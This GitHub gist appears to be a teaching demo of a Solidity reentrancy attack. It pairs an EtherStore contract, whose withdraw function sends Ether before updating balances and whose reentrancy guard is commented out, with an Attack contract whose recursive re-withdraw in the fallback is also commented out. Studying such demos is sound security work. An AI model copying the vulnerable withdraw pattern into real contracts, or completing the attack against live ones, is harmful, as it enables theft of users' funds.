Created
August 25, 2022 13:13
-
-
Save Cerebro92/88a3f19da5ce4643f4baedbc03d5f965 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.15; | |
contract EtherStore { | |
mapping(address => uint) balances; | |
bool internal locked; | |
// modifier noReentrant(){ | |
// require(!locked, "No re-entrancy"); | |
// locked = true; | |
// _; | |
// locked = false; | |
// } | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw(uint _amount) public { | |
require(balances[msg.sender] >= _amount, "Insufficient balance"); | |
(bool sent, ) = msg.sender.call{value: _amount}(""); | |
balances[msg.sender] -= _amount; | |
require(sent, "Failed to send Ether to recepient"); | |
} | |
function getBalance() public view returns (uint){ | |
return address(this).balance; | |
} | |
} | |
contract Attack{ | |
event Log(); | |
EtherStore public etherStore; | |
constructor(address _etherStoreAdddress) { | |
etherStore = EtherStore(_etherStoreAdddress); | |
} | |
fallback() external payable{ | |
emit Log(); | |
// if (address(etherStore).balance >= 1 ether){ | |
// etherStore.withdraw(1 ether); | |
// } | |
} | |
// receive() external payable{} | |
function attack() external payable { | |
require(msg.value >= 1 ether, "Require atleast 1 ether"); | |
etherStore.deposit{value: 1 ether}(); | |
etherStore.withdraw(1 ether); | |
} | |
function getBalance() public view returns (uint){ | |
return address(this).balance; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment